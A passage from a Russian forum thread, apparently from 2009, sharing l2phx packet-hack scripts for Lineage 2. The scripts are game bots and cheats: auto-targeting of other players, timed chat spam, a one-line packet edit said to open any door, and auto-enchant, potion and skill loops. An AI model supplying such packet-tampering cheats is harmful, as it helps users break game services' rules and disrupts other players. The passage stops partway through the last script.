PDA

Просмотр полной версии : Скрипты для l2phx


Razzor
31.03.2009, 11:16
1. Публикуем сюда скрипты для l2phx, указываем на какой версии l2phx тестировался скрипт.
2. Все кроме скрипта и описания к нему будет удалятся, автор получать горчичник (для "спасибо" есть кнопка).
3. Скрипт обязательно должен быть в теге "кода" ([ CODE ][ /CODE ] без пробелов)
4. Скрипт должен быть с описанием (инструкцией если таковая имеется) и с указанием автора скрипта.

Скрипт копируем в l2phx в кладку "Скрипты", нажимаем "новый скрипт" и вставляем.
Скрипты не соответствующие данным правилам - будут удалятся без предупреждений.

---
Все вопросы по программе и работоспособности скриптов задаем на официальном форуме L2pbx - [Ссылки могут видеть только зарегистрированные и активированные пользователи]

Razzor
02.04.2009, 18:23
1. Скрипт для Аугментация в одно нажатие, работает на любых версиях.
const
Name='Mamy'; // ник
ItemID=6608; // пуха
LifeID=8762; // лайфстон
GemsID=2131; // гемстон
GemsAmount=25; //кол-во гемов
max=100; // инвентарь
var
LifeBase:array[1..max] of integer;
ColvoLife,ColvoGems,Life,Item,Gems,SocialID,augid: integer;
procedure Init;
var i:integer;
begin
buf:=hstr('0F');
SendToServerEx(Name);
end;
procedure Free;
var i:integer;
begin
for i:=1 to max do
LifeBase[i]:=0;
end;
function StrToHex(packet: string):string;
var
i:integer;
tmp:byte;
function ByteToHex(b: byte): Char;
begin
if b<10 then result:=chr(b+$30)
else result:=chr(b+$37);
end;
begin
result:='';
for i:=1 to length(packet) do begin
tmp:=ord(packet[i]) div 16;
result:=result+ByteToHex(tmp);
tmp:=ord(packet[i]) - tmp*16;
result:=result+ByteToHex(tmp)+' ';
end;
end;
function inttohex(n:integer):string;
var i:integer;
t:string;
a:array[0..15] of char;
begin
a[0]:='0';
a[1]:='1';
a[2]:='2';
a[3]:='3';
a[4]:='4';
a[5]:='5';
a[6]:='6';
a[7]:='7';
a[8]:='8';
a[9]:='9';
a[10]:='A';
a[11]:='B';
a[12]:='C';
a[13]:='D';
a[14]:='E';
a[15]:='F';
result:='';
t:='';
i:=0;
while n<>0 do begin
if (i mod 2=0)and(i>0) then begin
result:=result+t+' ';
t:='';
end;
t:=a[n mod 16]+t;
n:=n div 16;
inc(i);
end;
result:=result+t;
end;
procedure Say;
var i:integer;
s:string;
begin
s:='<tr><td>LS='+inttostr(ColvoLife)+' (*'+inttostr(GemsAmount)+'='+inttostr(ColvoLife*Ge msAmount)+')</td></tr>';
s:=s+'<tr><td>Gems='+inttostr(ColvoGems)+' (/'+inttostr(GemsAmount)+'='+inttostr(ColvoGems div GemsAmount)+')</td></tr>';
s:=s+'<tr><td>---</td></tr>';
if Item=0 then
s:=s+'<tr><td>No Weapon</td></tr>'
else if augid>0 then
s:=s+'<tr><td>Augmented ('+inttohex(augid)+')</td></tr>'
else
s:=s+'<tr><td>Not augmented</td></tr>';
buf:=hstr('0F 01 00 00 00');
WriteS('<html><body><br><table width=100%>'+s+'</table><br><br><br><br><br><br>'+
'"Social Yes" - Cancel Augment(if augmented) and Augment(if you have enough gems and LSs)<br>'+
'"Social No" - Show this help<br><br>'+
'Sometimes client dont get packet InventoryUpdate and you see "Not augment" when weapon is augmented.'+
' Simply press [Tab] twice or wear weapon.<br><br>'+
'(c) raid aka Mamy</body></html>');
// '(c) raid aka Mamy<br>'+strtohex(pck)+'</body></html>');
WriteD(0);
SendToClientEx(Name);
end;
procedure CreateItemBase;
var i,ss,j,ObjID,ItmID,ListCount,count,aug:integer;
begin
Item:=0;
ss:=1;
j:=4;
ListCount:=ReadH(j);
if ListCount>max then ListCount:=max;
j:=8;
for i:=1 to ListCount do begin
ObjID:=ReadD(j);
ItmID:=ReadD(j);
Count:=ReadD(j);
j:=j+14;
aug:=ReadD(j);
case ItmID of
LifeID: begin
LifeBase[ss]:=ObjID;
inc(ss);
end;
ItemID: begin
Item:=ObjID;
augid:=aug;
end;
GemsID: begin
Gems:=ObjID;
ColvoGems:=Count;
end;
end;
j:=j+6;
end;
ColvoLife:=ss-1;
Say;
end;
procedure UpdateItemBase;
var i,ii,j,ObjID,ItmID,ListCount,Count,UpdType,aug: integer;
begin
ListCount:=ReadH(2);
j:=4;
for i:=1 to ListCount do begin
UpdType:=ReadH(j);
j:=j+2;
ObjID:=ReadD(j);
ItmID:=ReadD(j);
Count:=ReadD(j);
j:=j+14;
aug:=ReadD(j);
case UpdType of
1:case ItmID of
ItemID: begin
Item:=ObjID;
augid:=aug;
end;
LifeID: begin
for ii:=1 to max do
if LifeBase[ii]=0 then begin
LifeBase[ii]:=ObjID;
ColvoLife:=ColvoLife+1;
break;
end;
end;
GemsID: begin
Gems:=ObjID;
ColvoGems:=Count;
end;
end;
2:case ItmID of
ItemID: begin
Item:=ObjID;
augid:=aug;
end;
GemsID: begin
Gems:=ObjID;
ColvoGems:=Count;
end;
end;
3:case ItmID of
ItemID:
Item:=0;
GemsID: begin
Gems:=ObjID;
ColvoGems:=Count;
end;
LifeID: begin
for ii:=1 to max do
if LifeBase[ii]=ObjID then begin
LifeBase[ii]:=0;
ColvoLife:=ColvoLife-1;
end;
end;
end;
end;
j:=j+6;
end;
Say;
end;
function GetNextLife: integer;
var i:integer;
begin
Result:=-1;
for i:=1 to max do begin
if (LifeBase[i]<>0) then begin
Result:=LifeBase[i];
exit;
end;
end;
end;
procedure Augment;
begin
buf:=hstr('D0 29 00');
WriteD(Item);
SendToServerEx(Name);
delay(100);
buf:=hstr('D0 2A 00');
WriteD(Item);
WriteD(Life);
SendToServerEx(Name);
delay(100);
buf:=hstr('D0 2B 00');
WriteD(Item);
WriteD(Life);
WriteD(Gems);
WriteD(GemsAmount);
SendToServerEx(Name);
delay(100);
buf:=hstr('D0 2C 00');
WriteD(Item);
WriteD(Life);
WriteD(Gems);
WriteD(GemsAmount);
SendToServerEx(Name);
end;
procedure DisAugment;
begin
buf:=hstr('D0 2D 00');
WriteD(Item);
SendToServerEx(Name);
buf:=hstr('D0 2E 00');
WriteD(Item);
SendToServerEx(Name);
end;
begin
if pck='' then exit;
if FromClient and (ConnectName=Name) and (pck[1]=#$1B) then begin
SocialID:=ReadD(2);
pck:='';
case SocialID of
7: begin
buf:=hstr('A7 2A A0 00 00 80 84 1E 00 0A 00 00 00 00 00 00 00 00 00 00 00');
SendToServerEx(Name);
buf:=hstr('A7 29 A0 00 00 40 0D 03 00 FA 00 00 00 00 00 00 00 00 00 00');
SendToServerEx(Name);

exit;
end;
6: begin
if augid>0 then begin
DisAugment;
delay(300);
end;
Life:=GetNextLife;
if (Life=-1)or(ColvoGems<GemsAmount)or(ColvoLife<1) then
exit;
Augment;
exit;
end;
5: begin
Say;
exit;
end;
end;
end;
if FromServer then
case pck[1] of
#$1B: CreateItemBase;
#$27: UpdateItemBase;
end;
end.

Описание: Активируем скрипт, в клиенте должно появиться окошко чата.
"Соц. Да" - снятие аугмента и аугментирование.
В инвентаре должна быть только одна пуха с данным ID.

Автор - Mamyka
==+==
1. Скрипт на Авто-таргет ПК, тестилось на L2J и L2F серверах
// Авторы: Furious, metalFan
// Отдельное спасибо PanAm за помощь в написании
// Версия: Gracia 1.5 PreFinal
Const UserName=('онатоле');
var
ObjectID, KarmaPK, TargetPK, MessagePK, ClassPK, i, x, y, z, TempPK: Integer;
NamePK, CvarPK : String;
ClassName: TStringList;
procedure Init;
begin
MessagePK:=1;
TargetPK:=0;
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS('PK Scanner for Gracia 1.5 by Furious, metalFan');
SendToClientEx(UserName);
ClassName :=TStringList.Create;
ClassName.LoadFromFile('ClassName.ini');
end;
procedure Free;
begin
ClassName.free;
end;
procedure OnConnect(WithClient: Boolean);
begin
end;
procedure OnDisonnect(WithClient: Boolean);
begin
end;
procedure MessageSend(Msg:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(Msg);
SendToClientEx(UserName);
end;
procedure TargetingPK(ObjectID: Integer);
begin
if TargetPK=1 then begin
buf:=#$1F;
WriteD(ObjectID); WriteD(0); Writed(0); Writed(0); WriteC(0);
SendToServerEx(UserName); end;
end;
procedure KillRadar;
begin
buf:=#$F1;
WriteD(0);
WriteD(1);
WriteD(0);
WriteD(0);
WriteD(0);
SendToClientEx(UserName);
end;
function GetClassName(CID : integer) : string;
begin
result:=ClassName.Strings[CID];
end;
begin
if (FromServer) and (ConnectName=UserName) and (pck[1]=#$31) then
begin
x:=ReadD(2);
y:=ReadD(6);
z:=ReadD(10);
i:=22;
NamePK:=ReadS(i);
ClassPK:=ReadD(i+8);
KarmaPK:=ReadD(i+176);
if (KarmaPK>0) then
begin
ObjectID:=ReadD(18);
TargetingPK(ObjectID);
if MessagePK=1 then begin MessageSend(''+NamePK+' | '+GetClassName(ClassPK)+' | '+IntToStr(KarmaPK)+) end;
buf:=#$F1;
WriteD(0);
WriteD(1);
WriteD(X);
WriteD(Y);
WriteD(Z);
SendToClientEx(UserName);
end;
end;
if (FromServer) and (ConnectName=UserName) and (pck[1]=#$08) then begin
TempPK:=ReadD(2);
case TempPK of ObjectID:
KillRadar;
end;
end;
if (FromClient) and (ConnectName=UserName) and (pck[1]=#$49) then
begin
CvarPK:=ReadS(2);
case CvarPK of
'\start':
begin
TargetPK:=1;
MessageSend('Search On!');
pck:='';
end;
'\stop':
begin
TargetPK:=0;
MessageSend('Stopped all services!');
pck:='';
end;
'\radar':
begin
MessageSend('Radar Killed');
KillRadar;
pck:='';
end;
end;
end;
end.
Описание: Киньте файл classname.ini в папку пакетхака
==+==

1. Скрипт для работы с чатом
const
MaxMessages = 1000;
var
m: TMemo;
frm:TForm;
penel: TPanel;
etext: tedit;
button: tbutton;
box : TCheckBox;
every : TEdit;
_Name : TEdit;
i: Integer;
tm:TTimer;
Message, Name: String;

procedure SendMs(Sender: TObject);
var
Msg, Nm: String;
dd: integer;
begin
if etext.text<>'' then begin
buf:=#$38;
case etext.text[1] of
'!': begin
Msg:=Copy(etext.text,2,1000);
dd:=1;
nm:='';
end;
'$': begin
Msg:=Copy(etext.text,2,1000);
dd:=9;
nm:='';
end;
'+': begin
Msg:=Copy(etext.text,2,1000);
dd:=8;
nm:='';
end;
'"': begin
dd:=pos(' ', etext.text);
Msg:=Copy(etext.text,dd+1,1000);
nm:=Copy(etext.text,2,dd-3);
dd:=2;
end;
'#': begin
Msg:=Copy(etext.text,2,1000);
dd:=3;
nm:='';
end;
'@': begin
Msg:=Copy(etext.text,2,1000);
dd:=4;
nm:='';
end;
else begin
Msg:=etext.text;
dd:=0;
nm:='';
end;
end;
WriteS(Msg);
WriteD(dd);
if nm<>'' then WriteS(Nm);
SendToServerEx(_Name.Text);
end;
end;
procedure onNewCommand(obj:TObject;key:string);
var i:integer;
var symbol:Variant;
var after:string;
begin
if (key[1]=#$0D) then begin
SendMs(obj);
symbol := etext.Text[1];
after := '';
if symbol = '#' then after := '#';
if symbol = '!' then after := '!';
if symbol = '@' then after := '@';
if symbol = '$' then after := '$';
if symbol = '%' then after := '%';
etext.Text := after;
end;
end;
procedure onTimer(Sender:TObject);
begin
tm.Interval := StrToInt(every.Text);
if box.checked = true then SendMs(Sender);
end;
procedure Init;
begin
frm := TForm.Create(nil);
frm.Caption := 'Chat';
frm.BorderStyle := bsSizeable;
frm.Position := poDesigned ;
frm.Width:=400;
frm.Height:=600;
m:=TMemo.Create(frm);
m.parent:=frm;
m.align:=alClient;
m.ReadOnly:=true;
m.ScrollBars:=ssBoth;
penel:=TPanel.Create(frm);
penel.parent:=frm;
penel.align:=alBottom;
penel.height:=48;
etext:=tedit.Create(penel);
etext.parent:=penel;
etext.align:=alTop;
button:=tbutton.Create(penel);
button.parent:=penel;
button.top := etext.height;
button.caption:='Send';
button.onClick:=@SendMs;
box := TCheckBox.Create(penel);
box.parent := penel;
box.Top := etext.height + 2;
box.Left := button.width + button.left +2;
box.Caption := 'Шторм через: ';
every:=tedit.Create(penel);
every.parent:=penel;
every.Left := box.Left + box.Width;
every.Top := button.top;
every.Text := IntToStr(3000);
tm := TTimer.Create(frm);
tm.Interval := 1000;
tm.Enabled := true;
tm.OnTimer := @OnTimer;
etext.OnKeyPress := @onNewCommand;
_Name:=tedit.Create(frm);
_Name.parent:=frm;
_Name.align := alTop;
_Name.Text := '';
frm.Show;
end;

procedure SaveToFile(prefix:string);
var name:string;
begin
name := prefix+'.'+ConnectName+'.'+DateToStr(Date)+'.'+Tim eToStr(Time)+'.txt';
while Pos(':',name) <> 0 do begin
name[Pos(':',name)] := '-';
end;
m.Lines.SaveToFile(name);
end;

procedure Free;
begin
SaveToFile('ChatLog');
box.Free;
every.Free;
tm.Free;
etext.Free;
button.Free;
penel.Free;
m.Free;
frm.Free;
end;



var tp:integer;
var ct:string;
var MessageCounter:integer;
begin
if _Name.Text = '' then _Name.Text := ConnectName;
if FromServer and (ConnectName = _Name.Text) and (pck[1]=#$4a) then
begin
i:=10;
name:=ReadS(i);
message:=ReadS(i);
tp := ReadD(6);
ct := '???';
if tp = 0 then ct := 'GNR';
if tp = 8 then ct := 'TRD';
if tp = 3 then ct := 'PRT';
if tp = 4 then ct := 'CLN';
if tp = 9 then ct := 'ALY';

ct := DateToStr(Date) + ' '+ TimeToStr(Time) + ', '+ ct;

if name='' then name:='Объявление: ';
m.Lines.Add('['+ct+'] '+Name+': '+message);

if MessageCounter > MaxMessages then begin
SaveToFile('Backup');
//m.Lines.Add('BACKUPED');
MessageCounter := 0;
end;
MessageCounter := MessageCounter+1;
end;
end.


Возможности:

1. Отдельное окно чата.
2. "Автоспам": одна строчка раз в Х секунд
3. Длинный текст: отправка многострочного сообщения
4. Лог чата.

Razzor
06.04.2009, 13:29
1. Скрипт позволяющий открывать любые двери в мире Lineage 2
begin
if fromserver and (pck[1]=#$9F) then pck[22]:=#$00;
end.

1. Скрипт для отображения CP/HP вместо титула, работает на серверах где приходит статусапдейт перса

Var
CurHP,MaxHP,CurCP,MaxCP,CurMP,MaxMP,objID: integer;

procedure Init;
begin

end;

procedure StatusUpdate;
var
i: integer;
begin
for i:=0 to ReadD(6)-1 do begin
case pck[i*8+10] of
#$09: CurHP:=ReadD(i*8+14);
#$0A: MaxHP:=ReadD(i*8+14);
#$0B: CurMP:=ReadD(i*8+14);
#$0C: MaxMP:=ReadD(i*8+14);
#$21: CurCP:=ReadD(i*8+14);
#$22: MaxCP:=ReadD(i*8+14);
end;
end;
end;

procedure Free;
begin

end;

procedure OnConnect(WithClient: Boolean);
begin

end;

procedure OnDisonnect(WithClient: Boolean);
begin

end;

begin
if fromserver and (pck[1]=#$18) then
begin
StatusUpdate;
objID:=ReadD(2);

buf:=#$CC;
WriteD(objID);
WriteS('CP:'+inttostr(CurCP)+' HP:'+inttostr(CurHP));
SendToClient;

end;

end.

==+==

1. Скрипт на авто-заточку скиллов.

const
nik='xxxxx';
Enchant=13;

var
SubID, SkillID, SkillLvl, CurrEnch: integer;

procedure Init; //Вызывается при включении скрипта
begin

end;

procedure OnTimer01(Sender: TObject);
begin

end;

procedure Free; //Вызывается при выключении скрипта
begin
CurrEnch:=0;
end;

procedure OnConnect(WithClient: Boolean); //Вызывается при установке соединения
begin

end;

procedure OnDisonnect(WithClient: Boolean); //Вызывается при потере соединения
begin

end;

//основная часть скрипта
//вызывается при приходе каждого пакета если скрипт включен
begin
if FromServer and (pck[1]=#$62) then case pck[2] of
#$A0: //точнулся
if CurrEnch<Enchant then
begin
CurrEnch:=CurrEnch+1;
Buf:=#$D0;
WriteH(SubID);
WriteD(SkillID);
WriteD(SkillLvl+CurrEnch);
SendToServerEx(nik);
end;
#$A1: //не точнулся
begin
CurrEnch:=1;

Buf:=#$D0;
WriteH(SubID);
WriteD(SkillID);
WriteD(SkillLvl+CurrEnch);
SendToServerEx(nik);

end;
end;

if FromClient and (pck[1]=#$D0) then
begin
SubID:=ReadH(2);
SkillID:=ReadD(4);
SkillLvl:=ReadD(8)-1;
CurrEnch:=1;
end;
end.

Инструкция: Закупаемся книжками, выставляем уровень заточки и ник
точим на +1, скрипт продолжает пока не точнет до указанного уровня.
Точить надо с нуля, иначе счетчик не правильно считать начнет.

==+==

1. Скрипт юзает баночки HP если ваше HP < MaxHP

var
timer: TTimer;
Name: String;
OID, OIDName: Integer;
MaxHP: Integer;
w: Integer;
procedure Init; //It is called at script turn on
begin
Name:='bobrul';
OID:= 0;
OIDName:= 0;
w:= 0;
timer:=TTimer.Create(nil);
timer.OnTimer:=@OnHTimer;
timer.enabled:=false;
timer.interval:=10100; //время задержки
end;

procedure Free; //It is called at script turn off
begin
timer.enabled:=false;
end;

procedure OnHTimer(Sender: TObject);
begin
If OID <> 0 then
begin
buf :=HStr('19');
WriteD(OID);
buf := buf + HStr('00 00 00 00');
SendToServer;
end
else timer.enabled:=false;
end;

begin
if FromServer and (ConnectName=Name) then
case pck[1] of
#$21: begin
if ReadD(12) = 1061 then OID:=ReadD(8); //OID HealingPotion.
end;

#$32: begin
If ReadS(22) = Name then
begin
MaxHP:=ReadD(84); //MaxHP перса Name
OIDName:=ReadD(18); //OID перса Name
end;
end;

#$18: begin
//Используем банки если HP<MaxHP.
If (ReadD (2) = OIDName) and (ReadD(14) < MaxHP) and (w = 0) then
begin
timer.enabled:=TRUE;
w:= 1;
end;
If (ReadD(2) = OIDName) and (ReadD(14) = MaxHP) then
begin
timer.enabled:=false;
w:= 0;
end;
end;
end;


end.

Описание: Скрипт тест проходил на Lineage 2 Gracia Part 1.
В строке Name:='bobrul'; имя поменять на своё. Если помог жми спасибку не жадничай !

==+==

1. Скрипт юзанья скила UsedSkilFokucedForce для орка у которого есть скил FokucedForce.
Name:='bobrul'; поменять имя .
var
timer: TTimer;
Name: String;
procedure Init; //It is called at script turn on
begin
Name:='bobrul';
timer:=TTimer.Create(nil);
timer.OnTimer:=@OnTimer;
timer.enabled:=false;
timer.interval:=880; //время задержки
timer.enabled:=true;
end;

procedure Free; //It is called at script turn off
begin
timer.enabled:=false;
end;

procedure OnTimer(Sender: TObject);
begin
buf :=HStr('39 32 00 00 00 00 00 00 00 00');
SendToServer;
end;
//Script main body
//It is called at arrival of each package if the script is included
begin
if FromServer and (ConnectName=Name) then
case pck[1] of
#$F9: begin
if (ReadD(2) < 2) then //Здесь можно указать при скольки зарядах включиться скил.
begin
timer.enabled:=true;
end;
if (ReadD(2) = 5) then //Здесь указано при скольки зарядах отключиться скил.
begin
timer.enabled:=false;
end;
end;

#$62: begin
if (ReadD(2) = 31) and (ReadD(6) = 0) then
begin
pck:='';
timer.enabled:=false;
end;
if (ReadD(2) = 324) and (ReadD(6) = 0) then pck:='';
end;
end;
end.

==+==

1. Бот рассказывающий анекдоты если у него кто то купил 1 соску .

const
jokes_max = 100;

var
TITLE_DATA2: array [0..16] of string;
IDs: array [1..2000] of cardinal;
Names: array [1..2000] of String;
jokes: array [1..jokes_max] of string;
InTimer: Boolean;
curpos: byte;
f: TStringList;
t: TTimer;
m: TMemo;
MyName: String;
count: Integer;
MyID: Cardinal;
jokes_real: integer;

procedure OnTimerProc;
begin
InTimer := true;
buf := #$0B;
WriteS(MyName);
WriteS(TITLE_DATA2[curpos]);
SendToServer;

curpos := curpos + 1;
if curpos > 16 then curpos := 0;

InTimer := false;
end;

procedure Init;
var
i: byte;
begin
MyName:='bobrul';
curpos := 0;

randomize;
count := 0;

f := TStringList.Create;
jokes_real := 0;
for i := 1 to jokes_max do
begin
try
f.LoadFromFile('C:\l2jokes\' + IntToStr(i) + '.txt');
jokes_real := jokes_real + 1;
except
end;
jokes[jokes_real] := f.Text;
end;
f.free;

//Создаю таймер
t := TTimer.Create(nil);
t.Enabled := false;
t.Interval := 700;
t.OnTimer := @OnTimerProc;


TITLE_DATA2[0] := '@(o_O)@';
TITLE_DATA2[1] := '@(O_o)@';
TITLE_DATA2[2] := '@(o_O)@';
TITLE_DATA2[3] := '@(O_o)@';
TITLE_DATA2[4] := '';
TITLE_DATA2[5] := 'ANEKDOTI';
TITLE_DATA2[6] := '';
TITLE_DATA2[7] := 'ANEKDOTI';
TITLE_DATA2[8] := '';
TITLE_DATA2[9] := 'ANEKDOTI';
TITLE_DATA2[10] := '';
TITLE_DATA2[11] := '@(o_O)@';
TITLE_DATA2[12] := '@(O_o)@';
TITLE_DATA2[13] := '@(o_O)@';
TITLE_DATA2[14] := '@(O_o)@';
TITLE_DATA2[15] := '@(o_O)@';
TITLE_DATA2[16] := '@(O_o)@';

ShowTab;
//Создаю TMemo
m:=TMemo.Create(UserTab);
m.parent:=UserTab;
m.align:=alClient;
m.ReadOnly:=true;
m.ScrollBars:=ssBoth;
m.lines.add('Анекдотов загружено: ' + inttostr(jokes_real));
end;
procedure Free;
begin
t.OnTimer := nil;
t.Enabled := false;
t.Interval := 0;
t.Free;

m.Free;
HideTab;
end;

function FindPlayer(ObjID: cardinal): integer; //Ищет ObjID в массиве IDs
var k: cardinal;
begin
result := -1;
if Count > 0 then
for k := 1 to Count do
if IDs[k] = ObjID then
begin
result := k;
break
end;
end;

var
i: integer;
objid: cardinal;
name: string;
begin

if FromServer then
case pck[1] of
#$31: // CharInfo
begin
i := 18; //В етой позиции находиться ObjectID в пакете CharInfo
objid := ReadD(i);
i := FindPlayer(ObjID);
if i = -1 then
begin
i := 22; //В етой позиции находиться Name в пакете CharInfo
name := ReadS(i);
// Добавление имени в массив ников IDs это ObjectID и Names это Name
if (name = '') then
begin
// (none)
end
else begin
count := count + 1;
IDs[count] := ObjID;
Names[count] := name;
m.Lines.Add(IntToStr(count) + ' - ' + Format('%x', [ObjId])+' = '+ Names[count]);
end;
end;
end;

#$32: //UserInfo Ищет мой ObjectID
begin
i := 18;
MyID := ReadD(i);
i := 22;
MyName := ReadS(i);
//Включает таймер бегущей строки в том случае если мой ObjectID найден
//Тогда начинает работать бегущая строка
t.Enabled := true;
end;

#$23: //TargetSeleted
begin
i := 2;
objid := ReadD(i);
if ReadD(i) <> MyID then exit;
i := FindPlayer(objid);

if i <> -1 then
begin
buf := #$49;
WriteS('Привет, '+names[i]+'! Я бот! Купи у меня сосок и я, в благодарность за это, расскажу тебе анекдот или стишок на тему LineAge2! ;)');
WriteD(2);
WriteS(names[i]);
SendToServer;
// в лог
m.Lines.Add(TimeToStr(now)+': '+names[i]+'Взял вас в таргет.');
end;
end;

#$08: // ObjectDelete
begin
i := 2;
objid := ReadD(i);

i := FindPlayer(objid);

if i <> -1 then
begin
IDs[i] := IDs[count];
Names[i] := Names[count];
count := count - 1;
end;
end;

#$62:
begin
i := 2;
if ReadD(i) = 1152 then {S1_PURCHASED_S3_S2_s}
begin
i := i + 4*2;
name := ReadS(i);
buf := #$49;
i := int(random * jokes_real) + 1;
WriteS(jokes[i]);
WriteD(2);
WriteS(name);
SendToServer;

if (Length(m.Lines.Text) > 1000) then m.Lines.Text := '<cleared>';
// внесем в лог
m.Lines.Add(TimeToStr(now)+': '+name+' purchased');
m.Lines.Add('> ' + jokes[i]);


end;
end;

end;
end.


Инструкция: Создайте папку C:\l2jokes запишите анекдоты в файлы 1.txt, 2.txt и тд.
jokes_max = 100; здесь поставьте количество анекдотов помните что длинна анекдота не должна превышать 255 символов.
MyName:='bobrul'; Поменяйте на своё имя.
if ReadD(i) = 1152 then {S1_PURCHASED_S3_S2_s} поменяйте ID соски С воин на любой другой предмета который будете продавать.

©mks

Razzor
07.04.2009, 15:48
Скрипт на заточку лежал до недавнего времени в подполье, но им особо там некто не пользуется (да и сам скрипт в шару был отправлен давно)

Скрипт для грации:

//Автоматизация заточки предметов до необходимого уровня by NLObP для Грации
//version 0.8 от 26.01.2009г.
program Enchant_gracia;
{************************************************* *******************************
Возможности скрипта:
--------------------
- Панель управления;
- Затачиваем по очереди все предметы с ItemID пока не переломаем
или не заточим, один предмет всегда остаётся;

================================================== ==================
Работа скрипта проверялась на локальном Грация сервере
================================================== ==================

1) Необходимо затариться оружием, заточками и валерьянкой.
2) Вписать в константу Name имя своего чара.
3) Поставить количество слотов в инвентаре чара в константу maxitems.
4) Сохранить и запустить скрипт установив напротив него галочку.

Внимание!
Из комбобокса обязательно надо выбрать вещь, чтобы скрипт узнал
ID и количество, только потом ставить напротив галочку.
Галочки снимать не надо, если кончились заточки/вещи - можно сразу идти
покупать и продолжать заточку.
В инвентаре должно быть не менее двух одинаковых затачиваемых вещей,
степень заточки значения не имеет.

Скрипт распространяется как есть, и я не несу ответственности за то,
что ВЫ натворили у себя, его используя.

MyICQ 402988808
************************************************** ******************************}

//............................................
//Список констант
const
Name='NLObP'; //Вписать сюда имя чара
//установить константу в зависимости от типа игры (С4 или Интерлюд)
//-------------------------
maxitems=250; //количество слотов в инвентаре чара
debug=false; //если не хотим видеть отладочной информации

//............................................
//Список переменных
var
Item, scrl: integer;
ScrollID, ScrollOID: integer; //ScrollID скролла заточки
ItemID, ItemOID, ItemEnch: integer; //ItemID затачиваемого предмета
MaxEnchLvl: integer; //уровень заточки который требуется достичь
//ITEMs
BaseItems: array[1..maxitems, 1..12] of integer; //все предметы в инвентаре

StartTime, EndTime: TDateTime;
good, broken: integer;
ready: boolean;
timer, showinf : TTimer;
ItemCount, CurEnchLvl: integer;
ItemsName, StringList : TStringList; //названия предметов, имена продавцов
FormMain : TForm; //Создаваемая форма
Splitter1, Splitter2 : TSplitter;
Stats, Msg : TMemo;
Panel1 : TPanel;
GroupBox2 : TGroupBox;
Label1, Label2, Label3, Label4, Label12, Label13 : TLabel;
ComboBoxItem, ComboBoxScroll : TComboBox;
CheckBoxItem, CheckBoxScroll : TCheckBox;
ButtonStartEnchant, ButtonStopEnchant : TButton;
EditItemVal, EditScrollVal, EditScrollOID, EditItemOID, Edit1, Edit2 : TEdit;
//............................................
//*************************************
//Обработчики событий для элементов управления на форме
//......................................
//CheckBoxItem
procedure CheckBoxItem_Click(Sender: TCheckBox);
//Event : OnClick
begin
if CheckBoxItem.Checked
then begin
ItemOID:=BaseItems[ComboBoxItem.ItemIndex+1,2];
ItemID:=BaseItems[ComboBoxItem.ItemIndex+1,3];
//проверка
// EditItemOID.Text:=Inttostr(ItemID);
// EditItemVal.text:=inttostr(ItemOID);

ComboBoxItem.Enabled:=false; //выключаем
end else begin
ItemID:=0; //отмена
ItemOID:=0;
ComboBoxItem.Enabled:=true; //включаем
//RequestItemList вызываем инвентарь
buf:=hstr('14');
SendToServerEx(Name);
end;
end;
//......................................
//......................................
//ComboBoxItem
procedure ComboBoxItem_Click(Sender: TComboBox);
//Event : OnClick
begin
ItemOID:=BaseItems[ComboBoxItem.ItemIndex+1,2];
ItemID:=BaseItems[ComboBoxItem.ItemIndex+1,3];
// ItemID:=ExtractIDValues(ComboBoxItem.Items.Strings[ComboBoxItem.ItemIndex]);
EditItemOID.Text:=Inttostr(ItemID);
EditItemVal.text:=inttostr(sumitem(ItemID));
end;
//......................................
//......................................
//CheckBoxScroll
procedure CheckBoxScroll_Click(Sender: TCheckBox);
//Event : OnClick
begin
if CheckBoxScroll.Checked
then begin
ScrollOID:=BaseItems[ComboBoxScroll.ItemIndex+1,2];
ScrollID:=BaseItems[ComboBoxScroll.ItemIndex+1,3];
//проверка
// EditScrollOID.Text:=Inttostr(ScrollID);
// EditScrollVal.text:=inttostr(ScrollOID);
ComboBoxScroll.Enabled:=false; //выключаем
end else begin
ScrollID:=0; //отмена
ScrollOID:=0;
ComboBoxScroll.Enabled:=true; //включаем
//RequestItemList вызываем инвентарь
buf:=hstr('14');
SendToServerEx(Name);
end;
end;
//......................................
//......................................
//ComboBoxScroll
procedure ComboBoxScroll_Click(Sender: TComboBox);
//Event : OnClick
begin
ScrollOID:=BaseItems[ComboBoxScroll.ItemIndex+1,2];
ScrollID:=BaseItems[ComboBoxScroll.ItemIndex+1,3];
// ScrollID:=ExtractIDValues(ComboBoxScroll.Items.Str ings[ComboBoxScroll.ItemIndex]);
EditScrollOID.Text:=Inttostr(ScrollID);
EditScrollVal.text:=inttostr(sumitem(ScrollID));
end;
//......................................
//......................................
//ButtonStartEnchant
procedure ButtonStartEnchant_Click(Sender: TButton);
//Event : OnClick
begin
CurEnchLvl:=0;
Edit2.text:=inttostr(CurEnchLvl);
msg.Lines.Add('Команда Старт!!!');
timer.enabled:=true;
end;
//......................................
//......................................
//ButtonStopEnchant
procedure ButtonStopEnchant_Click(Sender: TButton);
//Event : OnClick
begin
msg.Lines.Add('Команда Стоп!!!');
timer.enabled:=false;
ready:=false;
end;
//......................................
//......................................
procedure Edit1_Exit(Sender: TEdit);
//Event : OnExit
begin
// MyHPID:=ExtractIDValues(ComboBoxHPotion.Items.Stri ngs[ComboBoxHPotion.ItemIndex]);
// EditHPotionVal.Text:=Inttostr(FindItem(MyHPID));
// EditHPotionOID.text:=inttostr(ItemBase2[1,1]);
end;
//......................................
//*************************************
procedure Free_FormMain;
//Освобождаем ресурсы ...
begin
TRY
if FormMain<>NIL then begin
FormMain.Free;
FormMain:=NIL;
end;
FINALLY
END;
end; //Free_FormMain
//========================
//========================
function Create_FormMain : TForm;
//Создаем форму и соотв. компоненты на ней ...
Var
Yes : boolean;
begin
Yes := FALSE;
Result := TForm.Create(nil);

TRY
//------------------------
//Свойства формы
Result.Caption := 'Enchant by NLObP v.0.8';
Result.Left := 397;
Result.Top := 233;
Result.Width := 581;
Result.Height := 205;
Result.FormStyle := fsNormal;
Result.Position := poDesigned;
Result.BorderStyle := bsSizeable;
Result.BorderWidth := 0;
Result.WindowState := wsNormal;
Result.Color := clBtnFace;
Result.Font.Name := 'Tahoma';
Result.Font.Size := 8;
Result.Font.Color := clWindowText;
Result.Font.CharSet:= 1;
//------------------------
//......................................
//Splitter1
Splitter1 := TSplitter.Create(Result);
Splitter1.Parent := Result;
Splitter1.Align := alBottom;
Splitter1.Color := clBtnFace;
Splitter1.Left := 0;
Splitter1.Top := 103;
Splitter1.Width := 573;
